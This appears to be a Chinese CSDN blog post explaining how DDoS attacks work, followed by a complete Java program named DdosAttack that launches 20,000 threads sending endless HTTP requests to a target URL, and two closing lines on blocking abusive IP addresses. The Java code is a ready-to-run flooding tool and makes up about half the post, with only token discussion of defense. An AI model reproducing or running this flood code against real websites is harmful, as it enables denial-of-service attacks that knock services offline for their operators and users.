DDOS攻击原理(非常详细)从零基础入门到精通,看完这一篇就够了_ddos原理-CSDN博客
DDoS攻击(Distributed Denial of Service Attack,分布式拒绝服务攻击)的前身是DoS攻击(Denial of Service Attack,拒绝服务攻击),是指一种通过各种技术手段导致目标系统进入拒绝服务状态的攻击。
DDoS攻击可以看作DoS攻击的Plus版本,它可以将分布在不同地方的多台计算机联合起来形成攻击平台,对一个或多个目标发动攻击,从而产生成倍的拒绝服务攻击的威力。
攻击者发起攻击并向代理机发送控制指令,代理机就会向被攻击目标主机发送大量的服务请求数据包,这些数据包经过伪装,无法识别它的来源,而且这些数据包所请求的服务往往要消耗大量的系统资源,造成被攻击目标主机无法为用户提供正常服务,甚至导致系统崩溃。
消费目标系统的资源、通过各种手段让目标系统拒绝了正常的流量访问。
综上本质 DDOS攻击就是 控制了大量的机器同时向一个服务器发送请求,占用服务器的带宽,让正常的用户无法访问资源。
import java.net.HttpURLConnection;
import java.net.URL;
import java.net.URLEncoder;
import java.util.concurrent.atomic.AtomicBoolean;
public class DdosAttack {
public static void main(String[] args) throws Exception {
for (int i = 0; i < 20000; i++) {
DdosThread thread = new DdosThread();
thread.start();
}
}
public static class DdosThread extends Thread {
private AtomicBoolean running = new AtomicBoolean(true);
private final String request = ""; //对应网站的URL
private final URL url;
String param = null;
public DdosThread() throws Exception {
url = new URL(request);
param = "param1=" + URLEncoder.encode("87845", "UTF-8");
}
@Override
public void run() {
while (running.get()) {
try {
attack();
} catch (Exception e) {
}
}
}
public void attack() throws Exception {
//大量的线程和网站建立连接
HttpURLConnection connection = (HttpURLConnection) url
.openConnection();
connection.setDoOutput(true);
connection.setDoInput(true);
connection.setRequestMethod("GET");
connection.setRequestProperty("charset", "utf-8");
connection.setRequestProperty("Host", this.request);
connection
.setRequestProperty("User-Agent",
"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:8.0) Gecko/20100101 Firefox/8.0");
connection.setRequestProperty("Content-Type",
"application/x-www-form-urlencoded");
connection.setRequestProperty("Content-Length", param);
System.out.println(this + " " + connection.getResponseCode());
connection.getInputStream();
}
}
}
现在基本的服务器厂商都会带有防止DDOS攻击的防护措施,如果你用本来机器一直去访问一个网站,那么就会封掉IP地址。
在软件开发的时候也可以对IP地址进行限制,如果同一个ip在短时间内大量的请求,可以将这个ip地址封掉